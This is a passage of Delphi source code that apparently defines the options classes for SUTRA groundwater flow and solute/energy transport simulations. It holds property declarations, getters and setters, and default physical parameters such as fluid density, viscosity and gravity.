// @seealso(StoredFluidDiffusivity).
property StoredFluidThermalConductivity: TRealStorage
read FStoredFluidThermalConductivity
write SetStoredFluidThermalConductivity;
// Data Set 9: RHOW0
property StoredBaseFluidDensity: TRealStorage read FStoredBaseFluidDensity
write SetStoredBaseFluidDensity;
// Data Set 9: URHOW0 for solute transport.
property StoredBaseConcentration: TRealStorage read FStoredBaseConcentration
write SetStoredBaseConcentration;
// Data Set 9: URHOW0 for energy transport.
property StoredBaseTemperature: TRealStorage read FStoredBaseTemperature
write SetStoredBaseTemperature;
// Data Set 9: DRWDU for solute transport
property StoredFluidDensityCoefficientConcentration: TRealStorage
read FStoredFluidDensityCoefficientConcentration
write SetStoredFluidDensityCoefficientConcentration;
// Data Set 9: DRWDU for energy transport
property StoredFluidDensityCoefficientTemperature: TRealStorage
read FStoredFluidDensityCoefficientTemperature
write SetStoredFluidDensityCoefficientTemperature;
// Data Set 9: VISC0 for solute transport. @seealso(StoredScaleFactor).
property StoredViscosity: TRealStorage
read FStoredViscosity write SetStoredViscosity;
// Data Set 9: VISC0 for energy transport. @seealso(StoredViscosity).
property StoredScaleFactor: TRealStorage
read FStoredScaleFactor write SetStoredScaleFactor;
// Data Set 10: COMPMA
property StoredMatrixCompressibility: TRealStorage
read FStoredMatrixCompressibility write SetStoredMatrixCompressibility;
// Data Set 10: CS
property StoredSolidGrainSpecificHeat: TRealStorage
read FStoredSolidGrainSpecificHeat write SetStoredSolidGrainSpecificHeat;
// Data Set 10: SIGMAS
property StoredSolidGrainDiffusivity: TRealStorage
read FStoredSolidGrainDiffusivity write SetStoredSolidGrainDiffusivity;
// Data Set 10: RHOS
property StoredSolidGrainDensity: TRealStorage read FStoredSolidGrainDensity
write SetStoredSolidGrainDensity;
// Data Set 11: ADSMOD
property SorptionModel: TSorptionModel read FSorptionModel
write SetSorptionModel stored true;
// Data Set 11: CHI1
property StoredFirstDistributionCoefficient: TRealStorage
read FStoredFirstDistributionCoefficient
write SetStoredFirstDistributionCoefficient;
// Data Set 11: CHI2
property StoredSecondDistributionCoefficient: TRealStorage
read FStoredSecondDistributionCoefficient
write SetStoredSecondDistributionCoefficient;
// Data Set 12: PRODFØ
property StoredZeroFluidProduction: TRealStorage
read FStoredZeroFluidProduction write SetStoredZeroFluidProduction;
// Data Set 12: PRODSØ
property StoredZeroImmobileProduction: TRealStorage
read FStoredZeroImmobileProduction write SetStoredZeroImmobileProduction;
// Data Set 12: PRODF1
property StoredFirstFluidProduction: TRealStorage
read FStoredFirstFluidProduction write SetStoredFirstFluidProduction;
// Data Set 12: PRODS1
property StoredFirstImmobileProduction: TRealStorage
read FStoredFirstImmobileProduction
write SetStoredFirstImmobileProduction;
// Data Set 13: GRAVX
property StoredGravityX: TRealStorage read FStoredGravityX
write SetStoredGravityX;
// Data Set 13: GRAVY
property StoredGravityY: TRealStorage read FStoredGravityY
write SetStoredGravityY;
// Data Set 13: GRAVZ
property StoredGravityZ: TRealStorage read FStoredGravityZ
write SetStoredGravityZ;
// ICS Data sets 2 and 3
property ReadStart: TReadStart read FReadStart write SetReadStart;
// ICS Data sets 2 and 3
// @name is a relative file name.
property ReadStartRestartFileName: string read GetReadStartRestartFileName
write SetReadStartRestartFileName;
property LakeOptions: TSutraLakeOptions read FLakeOptions
write SetLakeOptions
{$IFNDEF SUTRA30}
stored False
{$ENDIF}
;
end;
implementation
uses
PhastModelUnit, VectorDisplayUnit;
{ TSutraOptions }
procedure TSutraOptions.Assign(Source: TPersistent);
var
SourceOptions: TSutraOptions;
begin
if Source is TSutraOptions then
begin
SourceOptions := TSutraOptions(Source);
TransportChoice := SourceOptions.TransportChoice;
SaturationChoice := SourceOptions.SaturationChoice;
TitleLines := SourceOptions.TitleLines;
SimulationType := SourceOptions.SimulationType;
StartType := SourceOptions.StartType;
FullRestartFileName := SourceOptions.FullRestartFileName;
RestartFrequency := SourceOptions.RestartFrequency;
FractionalUpstreamWeight := SourceOptions.FractionalUpstreamWeight;
PressureFactor := SourceOptions.PressureFactor;
UFactor := SourceOptions.UFactor;
MaxIterations := SourceOptions.MaxIterations;
PressureCriterion := SourceOptions.PressureCriterion;
NonLinPressureCriterion := SourceOptions.NonLinPressureCriterion;
UCriterion := SourceOptions.UCriterion;
PresSolutionMethod := SourceOptions.PresSolutionMethod;
MaxPressureIterations := SourceOptions.MaxPressureIterations;
PressureCriterion := SourceOptions.PressureCriterion;
USolutionMethod := SourceOptions.USolutionMethod;
MaxTransportIterations := SourceOptions.MaxTransportIterations;
TransportCriterion := SourceOptions.TransportCriterion;
FluidCompressibility := SourceOptions.FluidCompressibility;
FluidSpecificHeat := SourceOptions.FluidSpecificHeat;
FluidDiffusivity := SourceOptions.FluidDiffusivity;
FluidThermalConductivity := SourceOptions.FluidThermalConductivity;
BaseFluidDensity := SourceOptions.BaseFluidDensity;
BaseConcentration := SourceOptions.BaseConcentration;
BaseTemperature := SourceOptions.BaseTemperature;
FluidDensityCoefficientConcentration :=
SourceOptions.FluidDensityCoefficientConcentration;
StoredFluidDensityCoefficientTemperature :=
SourceOptions.StoredFluidDensityCoefficientTemperature;
Viscosity := SourceOptions.Viscosity;
ScaleFactor := SourceOptions.ScaleFactor;
MatrixCompressibility := SourceOptions.MatrixCompressibility;
SolidGrainSpecificHeat := SourceOptions.SolidGrainSpecificHeat;
SolidGrainDiffusivity := SourceOptions.SolidGrainDiffusivity;
SolidGrainDensity := SourceOptions.SolidGrainDensity;
SorptionModel := SourceOptions.SorptionModel;
FirstDistributionCoefficient := SourceOptions.FirstDistributionCoefficient;
SecondDistributionCoefficient :=
SourceOptions.SecondDistributionCoefficient;
ZeroFluidProduction := SourceOptions.ZeroFluidProduction;
ZeroImmobileProduction := SourceOptions.ZeroImmobileProduction;
FirstFluidProduction := SourceOptions.FirstFluidProduction;
FirstImmobileProduction := SourceOptions.FirstImmobileProduction;
GravityX := SourceOptions.GravityX;
GravityY := SourceOptions.GravityY;
GravityZ := SourceOptions.GravityZ;
ReadStart := SourceOptions.ReadStart;
FullReadStartRestartFileName := SourceOptions.FullReadStartRestartFileName;
LakeOptions := SourceOptions.LakeOptions;
// SimulationType := SourceOptions.SimulationType;
// SimulationType := SourceOptions.SimulationType;
// SimulationType := SourceOptions.SimulationType;
// SimulationType := SourceOptions.SimulationType;
end
else
begin
inherited;
end;
end;
constructor TSutraOptions.Create(Model: TBaseModel);
begin
if Model = nil then
begin
inherited Create(nil);
FLakeOptions := TSutraLakeOptions.Create(nil);
end
else
begin
inherited Create(Model.Invalidate);
FLakeOptions := TSutraLakeOptions.Create(Model.Invalidate);
end;
Assert((Model = nil) or (Model is TCustomModel));
FModel := Model;
FRestartFrequency := 10000;
FStoredTransportCriterion := TRealStorage.Create;
FStoredPressureCriterion := TRealStorage.Create;
FStoredFractionalUpstreamWeight := TRealStorage.Create;
FStoredPressureFactor := TRealStorage.Create;
FStoredUCriterion := TRealStorage.Create;
FStoredNonLinPressureCriterion := TRealStorage.Create;
FStoredUFactor := TRealStorage.Create;
FStoredBaseConcentration := TRealStorage.Create;
FStoredBaseTemperature := TRealStorage.Create;
FStoredBaseFluidDensity := TRealStorage.Create;
FStoredViscosity := TRealStorage.Create;
FStoredScaleFactor := TRealStorage.Create;
FStoredFluidCompressibility := TRealStorage.Create;
FStoredFluidDiffusivity := TRealStorage.Create;
FStoredFluidThermalConductivity := TRealStorage.Create;
FStoredFluidDensityCoefficientConcentration := TRealStorage.Create;
FStoredFluidDensityCoefficientTemperature := TRealStorage.Create;
FStoredFluidSpecificHeat := TRealStorage.Create;
FStoredSolidGrainSpecificHeat := TRealStorage.Create;
FStoredMatrixCompressibility := TRealStorage.Create;
FStoredSolidGrainDensity := TRealStorage.Create;
FStoredFirstDistributionCoefficient := TRealStorage.Create;
FStoredSolidGrainDiffusivity := TRealStorage.Create;
FStoredSecondDistributionCoefficient := TRealStorage.Create;
FStoredZeroFluidProduction := TRealStorage.Create;
FStoredFirstFluidProduction := TRealStorage.Create;
FStoredGravityZ := TRealStorage.Create;
FStoredGravityX := TRealStorage.Create;
FStoredGravityY := TRealStorage.Create;
FStoredZeroImmobileProduction := TRealStorage.Create;
FStoredFirstImmobileProduction := TRealStorage.Create;
Initialize;
FStoredTransportCriterion.OnChange := ValueChanged;
FStoredPressureCriterion.OnChange := ValueChanged;
FStoredFractionalUpstreamWeight.OnChange := ValueChanged;
FStoredPressureFactor.OnChange := ValueChanged;
FStoredUCriterion.OnChange := ValueChanged;
FStoredNonLinPressureCriterion.OnChange := ValueChanged;
FStoredUFactor.OnChange := ValueChanged;
FStoredBaseConcentration.OnChange := ValueChanged;
FStoredBaseTemperature.OnChange := ValueChanged;
FStoredBaseFluidDensity.OnChange := ValueChanged;
FStoredViscosity.OnChange := ValueChanged;
FStoredScaleFactor.OnChange := ValueChanged;
FStoredFluidCompressibility.OnChange := ValueChanged;
FStoredFluidDiffusivity.OnChange := ValueChanged;
FStoredFluidThermalConductivity.OnChange := ValueChanged;
FStoredFluidDensityCoefficientConcentration.OnChange := ValueChanged;
FStoredFluidDensityCoefficientTemperature.OnChange := ValueChanged;
FStoredFluidSpecificHeat.OnChange := ValueChanged;
FStoredSolidGrainSpecificHeat.OnChange := ValueChanged;
FStoredMatrixCompressibility.OnChange := ValueChanged;
FStoredSolidGrainDensity.OnChange := ValueChanged;
FStoredFirstDistributionCoefficient.OnChange := ValueChanged;
FStoredSolidGrainDiffusivity.OnChange := ValueChanged;
FStoredSecondDistributionCoefficient.OnChange := ValueChanged;
FStoredZeroFluidProduction.OnChange := ValueChanged;
FStoredFirstFluidProduction.OnChange := ValueChanged;
FStoredGravityZ.OnChange := ValueChanged;
FStoredGravityX.OnChange := ValueChanged;
FStoredGravityY.OnChange := ValueChanged;
FStoredZeroImmobileProduction.OnChange := ValueChanged;
FStoredFirstImmobileProduction.OnChange := ValueChanged;
end;
destructor TSutraOptions.Destroy;
begin
FLakeOptions.Free;
FStoredTransportCriterion.Free;
FStoredPressureCriterion.Free;
FStoredFractionalUpstreamWeight.Free;
FStoredPressureFactor.Free;
FStoredUCriterion.Free;
FStoredNonLinPressureCriterion.Free;
FStoredUFactor.Free;
FStoredBaseConcentration.Free;
FStoredBaseTemperature.Free;
FStoredBaseFluidDensity.Free;
FStoredViscosity.Free;
FStoredScaleFactor.Free;
FStoredFluidCompressibility.Free;
FStoredFluidDiffusivity.Free;
FStoredFluidThermalConductivity.Free;
FStoredFluidDensityCoefficientConcentration.Free;
FStoredFluidDensityCoefficientTemperature.Free;
FStoredFluidSpecificHeat.Free;
FStoredSolidGrainSpecificHeat.Free;
FStoredMatrixCompressibility.Free;
FStoredSolidGrainDensity.Free;
FStoredFirstDistributionCoefficient.Free;
FStoredSolidGrainDiffusivity.Free;
FStoredSecondDistributionCoefficient.Free;
FStoredZeroFluidProduction.Free;
FStoredFirstFluidProduction.Free;
FStoredGravityZ.Free;
FStoredGravityX.Free;
FStoredGravityY.Free;
FStoredZeroImmobileProduction.Free;
FStoredFirstImmobileProduction.Free;
inherited;
end;
function TSutraOptions.GetBaseFluidDensity: double;
begin
result := StoredBaseFluidDensity.Value;
end;
function TSutraOptions.GetBaseTemperature: double;
begin
result := StoredBaseTemperature.Value;
end;
function TSutraOptions.GetBaseConcentration: double;
begin
result := StoredBaseConcentration.Value;
end;
function TSutraOptions.GetFirstDistributionCoefficient: double;
begin
result := StoredFirstDistributionCoefficient.Value;
end;
function TSutraOptions.GetFirstFluidProduction: double;
begin
result := StoredFirstFluidProduction.Value;
end;
function TSutraOptions.GetFirstImmobileProduction: double;
begin
result := StoredFirstImmobileProduction.Value;
end;
function TSutraOptions.GetFluidCompressibility: double;
begin
result := StoredFluidCompressibility.Value;
end;
function TSutraOptions.GetFluidDensityCoefficientConcentration: double;
begin
result := StoredFluidDensityCoefficientConcentration.Value;
end;
function TSutraOptions.GetFluidDensityCoefficientTemperature: double;
begin
result := StoredFluidDensityCoefficientTemperature.Value;
end;
function TSutraOptions.GetFluidDiffusivity: double;
begin
result := StoredFluidDiffusivity.Value;
end;
function TSutraOptions.GetFluidSpecificHeat: double;
begin
result := StoredFluidSpecificHeat.Value;
end;
function TSutraOptions.GetFluidThermalConductivity: Double;
begin
result := StoredFluidThermalConductivity.Value
end;
function TSutraOptions.GetFractionalUpstreamWeight: double;
begin
result := StoredFractionalUpstreamWeight.Value;
end;
function TSutraOptions.GetGravityX: double;
begin
result := StoredGravityX.Value;
end;
function TSutraOptions.GetGravityY: double;
begin
result := StoredGravityY.Value;
end;
function TSutraOptions.GetGravityZ: double;
begin
result := StoredGravityZ.Value;
end;
function TSutraOptions.GetMatrixCompressibility: double;
begin
result := StoredMatrixCompressibility.Value;
end;
function TSutraOptions.GetNonLinPressureCriterion: double;
begin
result := StoredNonLinPressureCriterion.Value;
end;
function TSutraOptions.GetPressureCriterion: double;
begin
result := StoredPressureCriterion.Value;
end;
function TSutraOptions.GetPressureFactor: double;
begin
result := StoredPressureFactor.Value;
end;
function TSutraOptions.GetReadStartRestartFileName: string;
//var
// BaseDir: string;
begin
result := FFullReadStartRestartFileName;
if (Model <> nil) and (Result <> '') then
begin
result := (Model as TCustomModel).RelativeFileName(result);;
end;
end;
function TSutraOptions.GetRestartFileName: string;
//var
// BaseDir: string;
begin
result := FFullRestartFileName;
if (Model <> nil) and (Result <> '') then
begin
result := (Model as TCustomModel).RelativeFileName(result);;
end;
end;
function TSutraOptions.GetScaleFactor: double;
begin
result := StoredScaleFactor.Value;
end;
function TSutraOptions.GetSecondDistributionCoefficient: double;
begin
result := StoredSecondDistributionCoefficient.Value;
end;
function TSutraOptions.GetSolidGrainDensity: double;
begin
result := StoredSolidGrainDensity.Value;
end;
function TSutraOptions.GetSolidGrainDiffusivity: double;
begin
result := StoredSolidGrainDiffusivity.Value;
end;
function TSutraOptions.GetSolidGrainSpecificHeat: double;
begin
result := StoredSolidGrainSpecificHeat.Value;
end;
function TSutraOptions.GetTransportCriterion: double;
begin
result := StoredTransportCriterion.Value;
end;
function TSutraOptions.GetUCriterion: double;
begin
result := StoredUCriterion.Value;
end;
function TSutraOptions.GetUFactor: double;
begin
result := StoredUFactor.Value;
end;
function TSutraOptions.GetViscosity: double;
begin
result := StoredViscosity.Value;
end;
function TSutraOptions.GetZeroFluidProduction: double;
begin
result := StoredZeroFluidProduction.Value;
end;
function TSutraOptions.GetZeroImmobileProduction: double;
begin
result := StoredZeroImmobileProduction.Value;
end;
procedure TSutraOptions.Initialize;
begin
TitleLines := '';
TransportChoice := tcSolute;
SaturationChoice := scSaturated;
SimulationType := stSteadyFlowSteadyTransport;
StartType := stCold;
FullRestartFileName := '';
RestartFrequency := 9999;
StoredFractionalUpstreamWeight.Value := 0;
StoredPressureFactor.Value := 0.1;
StoredUFactor.Value := 1;
MaxIterations := 1;
StoredNonLinPressureCriterion.Value := 0;
StoredUCriterion.Value := 0;
PresSolutionMethod := psmDirect;
MaxPressureIterations := 300;
StoredPressureCriterion.Value := 1e-8;
USolutionMethod := usmDirect;
MaxTransportIterations := 300;
StoredTransportCriterion.Value := 1e-8;
StoredFluidCompressibility.Value := 4.47e-10;
StoredFluidSpecificHeat.Value := 4182;
StoredFluidDiffusivity.Value := 1.0e-9;
StoredFluidThermalConductivity.Value := 0.6;
StoredBaseFluidDensity.Value := 1000;
StoredBaseConcentration.Value := 0;
StoredBaseTemperature.Value := 20;
StoredFluidDensityCoefficientConcentration.Value := 700;
StoredFluidDensityCoefficientTemperature.Value := -0.375;
StoredViscosity.Value := 0.001;
StoredScaleFactor.Value := 1;
StoredMatrixCompressibility.Value := 1e-8;
StoredSolidGrainSpecificHeat.Value := 840;
StoredSolidGrainDiffusivity.Value := 3.5;
StoredSolidGrainDensity.Value := 2600;
SorptionModel := smNone;
StoredFirstDistributionCoefficient.Value := 0;
StoredSecondDistributionCoefficient.Value := 0;
StoredZeroFluidProduction.Value := 0;
StoredZeroImmobileProduction.Value := 0;
StoredFirstFluidProduction.Value := 0;
StoredFirstImmobileProduction.Value := 0;
StoredGravityX.Value := 0;
StoredGravityY.Value := 0;
StoredGravityZ.Value := -9.81;
ReadStart := rsNone;
FullReadStartRestartFileName := '';
FLakeOptions.Initialize;
end;
procedure TSutraOptions.SetBaseFluidDensity(const Value: double);
begin
StoredBaseFluidDensity.Value := Value;
end;
procedure TSutraOptions.SetBaseTemperature(const Value: double);
begin
StoredBaseTemperature.Value := Value;
end;
procedure TSutraOptions.SetBaseConcentration(const Value: double);
begin
StoredBaseConcentration.Value := Value;
end;
procedure TSutraOptions.SetFirstDistributionCoefficient(const Value: double);
begin
StoredFirstDistributionCoefficient.Value := Value;
end;
procedure TSutraOptions.SetFirstFluidProduction(const Value: double);
begin
StoredFirstFluidProduction.Value := Value;
end;
procedure TSutraOptions.SetFirstImmobileProduction(const Value: double);
begin
StoredFirstImmobileProduction.Value := Value;
end;
procedure TSutraOptions.SetFluidCompressibility(const Value: double);
begin
StoredFluidCompressibility.Value := Value;
end;
procedure TSutraOptions.SetFluidDensityCoefficientConcentration(const Value: double);
begin
StoredFluidDensityCoefficientConcentration.Value := Value;
end;
procedure TSutraOptions.SetFluidDensityCoefficientTemperature(
const Value: double);
begin
StoredFluidDensityCoefficientTemperature.Value := Value;
end;
procedure TSutraOptions.SetFluidDiffusivity(const Value: double);
begin
StoredFluidDiffusivity.Value := Value;
end;
procedure TSutraOptions.SetFluidSpecificHeat(const Value: double);
begin
StoredFluidSpecificHeat.Value := Value;
end;
procedure TSutraOptions.SetFluidThermalConductivity(const Value: Double);
begin
StoredFluidThermalConductivity.Value := Value;
end;
procedure TSutraOptions.SetFractionalUpstreamWeight(const Value: double);
begin
StoredFractionalUpstreamWeight.Value := Value;
end;
procedure TSutraOptions.SetFullRestartFileName(Value: string);
begin
Value := ExpandFileName(Value);
SetStringProperty(FFullRestartFileName, Value);
end;
procedure TSutraOptions.SetGravityX(const Value: double);
begin
StoredGravityX.Value := Value;
end;
procedure TSutraOptions.SetGravityY(const Value: double);
begin
StoredGravityY.Value := Value;
end;
procedure TSutraOptions.SetGravityZ(const Value: double);
begin
StoredGravityZ.Value := Value;
end;
procedure TSutraOptions.SetLakeOptions(const Value: TSutraLakeOptions);
begin
FLakeOptions.Assign(Value);
end;
procedure TSutraOptions.SetMatrixCompressibility(const Value: double);
begin
StoredMatrixCompressibility.Value := Value;
end;
procedure TSutraOptions.SetMaxIterations(const Value: Integer);
begin
SetIntegerProperty(FMaxIterations, Value);
end;
procedure TSutraOptions.SetMaxPressureIterations(const Value: Integer);
begin
SetIntegerProperty(FMaxPressureIterations, Value);
end;
procedure TSutraOptions.SetMaxTransportIterations(const Value: Integer);
begin
SetIntegerProperty(FMaxTransportIterations, Value);
end;
procedure TSutraOptions.SetNonLinPressureCriterion(const Value: double);
begin
StoredNonLinPressureCriterion.Value := Value;
end;
procedure TSutraOptions.SetPresSolutionMethod(const Value
: TPressureSolutionMethod);
begin
if FPresSolutionMethod <> Value then
begin
FPresSolutionMethod := Value;
InvalidateModel;
end;
end;
procedure TSutraOptions.SetPressureCriterion(const Value: double);
begin
StoredPressureCriterion.Value := Value;
end;
procedure TSutraOptions.SetPressureFactor(const Value: double);
begin
StoredPressureFactor.Value := Value;
end;
procedure TSutraOptions.SetReadStart(const Value: TReadStart);
begin
if FReadStart <> Value then
begin
FReadStart := Value;
InvalidateModel;
end;
end;
procedure TSutraOptions.SetReadStartRestartFileName(const Value: string);
begin
FullReadStartRestartFileName := Value;
end;
procedure TSutraOptions.SetFullReadStartRestartFileName(Value: string);
begin
Value := ExpandFileName(Value);
SetStringProperty(FFullReadStartRestartFileName, Value);
end;
procedure TSutraOptions.SetRestartFileName(const Value: string);
begin
FullRestartFileName := Value;
end;
procedure TSutraOptions.SetRestartFrequency(const Value: Integer);
begin
SetIntegerProperty(FRestartFrequency, Value);
end;
procedure TSutraOptions.SetSaturationChoice(const Value: TSaturationChoice);
begin
if FSaturationChoice <> Value then
begin
FSaturationChoice := Value;
InvalidateModel;
end;
end;
procedure TSutraOptions.SetScaleFactor(const Value: double);
begin
StoredScaleFactor.Value := Value;
end;
procedure TSutraOptions.SetSecondDistributionCoefficient(const Value: double);
begin
StoredSecondDistributionCoefficient.Value := Value;
end;
procedure TSutraOptions.SetSimulationType(const Value: TSimulationType);
begin
if FSimulationType <> Value then
begin
FSimulationType := Value;
InvalidateModel;
end;
end;
procedure TSutraOptions.SetSolidGrainDensity(const Value: double);
begin
StoredSolidGrainDensity.Value := Value;
end;
procedure TSutraOptions.SetSolidGrainDiffusivity(const Value: double);
begin
StoredSolidGrainDiffusivity.Value := Value;
end;
procedure TSutraOptions.SetSolidGrainSpecificHeat(const Value: double);
begin
StoredSolidGrainSpecificHeat.Value := Value;
end;
procedure TSutraOptions.SetSorptionModel(const Value: TSorptionModel);
begin
if FSorptionModel <> Value then
begin
FSorptionModel := Value;
InvalidateModel;
end;
end;
procedure TSutraOptions.SetStartType(const Value: TStartType);
begin
if FStartType <> Value then
begin
FStartType := Value;
InvalidateModel;
end;
end;
procedure TSutraOptions.SetStoredBaseFluidDensity(const Value: TRealStorage);
begin
FStoredBaseFluidDensity.Assign(Value);
end;
procedure TSutraOptions.SetStoredBaseTemperature(const Value: TRealStorage);
begin
FStoredBaseTemperature.Assign(Value);
end;
procedure TSutraOptions.SetStoredBaseConcentration(const Value: TRealStorage);
begin
FStoredBaseConcentration.Assign(Value);
end;
procedure TSutraOptions.SetStoredFirstDistributionCoefficient
(const Value: TRealStorage);
begin
FStoredFirstDistributionCoefficient.Assign(Value);
end;
procedure TSutraOptions.SetStoredFirstFluidProduction
(const Value: TRealStorage);
begin
FStoredFirstFluidProduction.Assign(Value);
end;
procedure TSutraOptions.SetStoredFirstImmobileProduction
(const Value: TRealStorage);
begin
FStoredFirstImmobileProduction.Assign(Value);
end;
procedure TSutraOptions.SetStoredFluidCompressibility
(const Value: TRealStorage);
begin
FStoredFluidCompressibility.Assign(Value)
end;
procedure TSutraOptions.SetStoredFluidDensityCoefficientConcentration
(const Value: TRealStorage);
begin
FStoredFluidDensityCoefficientConcentration.Assign(Value)
end;
procedure TSutraOptions.SetStoredFluidDensityCoefficientTemperature(
const Value: TRealStorage);
begin
FStoredFluidDensityCoefficientTemperature.Assign(Value);
end;
procedure TSutraOptions.SetStoredFluidDiffusivity(const Value: TRealStorage);
begin
FStoredFluidDiffusivity.Assign(Value);
end;
procedure TSutraOptions.SetStoredFluidSpecificHeat(const Value: TRealStorage);
begin
FStoredFluidSpecificHeat.Assign(Value);
end;
procedure TSutraOptions.SetStoredFluidThermalConductivity(
const Value: TRealStorage);
begin
FStoredFluidThermalConductivity.Assign(Value);
end;
procedure TSutraOptions.SetStoredFractionalUpstreamWeight
(const Value: TRealStorage);
begin
FStoredFractionalUpstreamWeight.Assign(Value);
end;
procedure TSutraOptions.SetStoredGravityX(const Value: TRealStorage);
begin
FStoredGravityX.Assign(Value);
end;
procedure TSutraOptions.SetStoredGravityY(const Value: TRealStorage);
begin
FStoredGravityY.Assign(Value);
end;
procedure TSutraOptions.SetStoredGravityZ(const Value: TRealStorage);
begin
FStoredGravityZ.Assign(Value);
end;
procedure TSutraOptions.SetStoredMatrixCompressibility
(const Value: TRealStorage);
begin
FStoredMatrixCompressibility.Assign(Value)
end;
procedure TSutraOptions.SetStoredNonLinPressureCriterion
(const Value: TRealStorage);
begin
FStoredNonLinPressureCriterion.Assign(Value);
end;
procedure TSutraOptions.SetStoredPressureCriterion(const Value: TRealStorage);
begin
FStoredPressureCriterion.Assign(Value);
end;
procedure TSutraOptions.SetStoredPressureFactor(const Value: TRealStorage);
begin
FStoredPressureFactor.Assign(Value);
end;
procedure TSutraOptions.SetStoredScaleFactor(const Value: TRealStorage);
begin
FStoredScaleFactor.Assign(Value)
end;
procedure TSutraOptions.SetStoredSecondDistributionCoefficient
(const Value: TRealStorage);
begin
FStoredSecondDistributionCoefficient.Assign(Value)
end;
procedure TSutraOptions.SetStoredSolidGrainDensity(const Value: TRealStorage);
begin
FStoredSolidGrainDensity.Assign(Value)
end;
procedure TSutraOptions.SetStoredSolidGrainDiffusivity
(const Value: TRealStorage);
begin
FStoredSolidGrainDiffusivity.Assign(Value)
end;
procedure TSutraOptions.SetStoredSolidGrainSpecificHeat
(const Value: TRealStorage);
begin
FStoredSolidGrainSpecificHeat.Assign(Value)
end;
procedure TSutraOptions.SetStoredTransportCriterion(const Value: TRealStorage);
begin
FStoredTransportCriterion.Assign(Value);
end;
procedure TSutraOptions.SetStoredUCriterion(const Value: TRealStorage);
begin
FStoredUCriterion.Assign(Value);
end;
procedure TSutraOptions.SetStoredUFactor(const Value: TRealStorage);
begin
FStoredUFactor.Assign(Value);
end;
procedure TSutraOptions.SetStoredViscosity
(const Value: TRealStorage);
begin
FStoredViscosity.Assign(Value);
end;
procedure TSutraOptions.SetStoredZeroFluidProduction(const Value: TRealStorage);
begin
FStoredZeroFluidProduction.Assign(Value);
end;
procedure TSutraOptions.SetStoredZeroImmobileProduction
(const Value: TRealStorage);
begin
FStoredZeroImmobileProduction.Assign(Value);
end;
procedure TSutraOptions.SetTitleLines(const Value: AnsiString);
begin
SetAnsiStringProperty(FTitleLines, Value);
end;
procedure TSutraOptions.SetTransportChoice(const Value: TTransportChoice);
var
PriorHeadUsed: Boolean;
PostHeadUsed: Boolean;
LocalModel: TPhastModel;
begin
if FTransportChoice <> Value then
begin
PriorHeadUsed := FTransportChoice = tcSoluteHead;
FTransportChoice := Value;
PostHeadUsed := FTransportChoice = tcSoluteHead;
if (PriorHeadUsed <> PostHeadUsed) and (Model <> nil) then
begin
if Model is TChildModel then
begin
LocalModel := TChildModel(Model).ParentModel as TPhastModel;
end
else
begin
LocalModel := Model as TPhastModel;
end;
if PostHeadUsed then
begin
if LocalModel.MaxVectors.VectorType = pvtPermeability then
begin
LocalModel.MaxVectors.VectorType := pvtConductivity;
LocalModel.MidVectors.VectorType := pvtConductivity;
LocalModel.MinVectors.VectorType := pvtConductivity;
end;
end
else
begin
if LocalModel.MaxVectors.VectorType = pvtConductivity then
begin
LocalModel.MaxVectors.VectorType := pvtPermeability;
LocalModel.MidVectors.VectorType := pvtPermeability;
LocalModel.MinVectors.VectorType := pvtPermeability;
end;
end;
end;
InvalidateModel;
end;
end;
procedure TSutraOptions.SetTransportCriterion(const Value: double);
begin
StoredTransportCriterion.Value := Value;
end;
procedure TSutraOptions.SetUCriterion(const Value: double);
begin
StoredUCriterion.Value := Value;
end;
procedure TSutraOptions.SetUFactor(const Value: double);
begin
StoredUFactor.Value := Value;
end;
procedure TSutraOptions.SetUSolutionMethod(const Value: TUSolutionMethod);
begin
if FUSolutionMethod <> Value then
begin
FUSolutionMethod := Value;
InvalidateModel;
end;
end;
procedure TSutraOptions.SetViscosity(const Value: double);
begin
StoredViscosity.Value := Value;
end;
procedure TSutraOptions.SetZeroFluidProduction(const Value: double);
begin
StoredZeroFluidProduction.Value := Value;
end;
procedure TSutraOptions.SetZeroImmobileProduction(const Value: double);
begin
StoredZeroImmobileProduction.Value := Value;
end;
procedure TSutraOptions.ValueChanged(Sender: TObject);
begin
InvalidateModel;
end;
{ TSutraLakeOptions }
procedure TSutraLakeOptions.SetStoredDischargeFraction(const Value: TRealStorage);
begin
FStoredDischargeFraction.Assign(Value);
end;
procedure TSutraLakeOptions.Assign(Source: TPersistent);
var
SourceLake: TSutraLakeOptions;
begin
if Source is TSutraLakeOptions then
begin
SourceLake := TSutraLakeOptions(Source);
MaxLakeIterations := SourceLake.MaxLakeIterations;
LakeOutputCycle := SourceLake.LakeOutputCycle;
RechargeFraction := SourceLake.RechargeFraction;
DischargeFraction := SourceLake.DischargeFraction;
MinLakeVolume := SourceLake.MinLakeVolume;
SubmergedOutput := SourceLake.SubmergedOutput;
end
else
begin
inherited;
end;
end;
constructor TSutraLakeOptions.Create(InvalidateModelEvent: TNotifyEvent);
begin
inherited;
FStoredRechargeFraction := TRealStorage.Create;
FStoredDischargeFraction := TRealStorage.Create;
FStoredMinLakeVolume := TRealStorage.Create;
FStoredSubmergedOutput := TRealStorage.Create;
FStoredRechargeFraction.OnChange := OnInvalidateModel;
FStoredDischargeFraction.OnChange := OnInvalidateModel;
FStoredMinLakeVolume.OnChange := OnInvalidateModel;
FStoredSubmergedOutput.OnChange := OnInvalidateModel;
Initialize;
end;
destructor TSutraLakeOptions.Destroy;
begin
FStoredRechargeFraction.Free;
FStoredDischargeFraction.Free;
FStoredMinLakeVolume.Free;
FStoredSubmergedOutput.Free;
inherited;
end;
function TSutraLakeOptions.GetDischargeFraction: double;
begin
result := StoredDischargeFraction.Value;
end;
function TSutraLakeOptions.GetMinLakeVolume: double;
begin
result := StoredMinLakeVolume.Value;
end;
function TSutraLakeOptions.GetRechargeFraction: double;
begin
result := StoredRechargeFraction.Value;
end;
function TSutraLakeOptions.GetSubmergedOutput: double;
begin
result := StoredSubmergedOutput.Value;
end;
procedure TSutraLakeOptions.Initialize;
begin
MaxLakeIterations := 1;
LakeOutputCycle := 1;
RechargeFraction := 0;
DischargeFraction := 0;
MinLakeVolume := 0;
SubmergedOutput := 0;
end;
procedure TSutraLakeOptions.SetDischargeFraction(const Value: double);
begin
StoredDischargeFraction.Value := Value;
end;
procedure TSutraLakeOptions.SetLakeOutputCycle(const Value: Integer);
begin
SetIntegerProperty(FLakeOutputCycle, Value);
end;
procedure TSutraLakeOptions.SetMaxLakeIterations(const Value: Integer);
begin
SetIntegerProperty(FMaxLakeIterations, Value);
end;
procedure TSutraLakeOptions.SetMinLakeVolume(const Value: double);
begin
StoredMinLakeVolume.Value := Value;
end;
procedure TSutraLakeOptions.SetRechargeFraction(const Value: double);
begin
StoredRechargeFraction.Value := Value;
end;
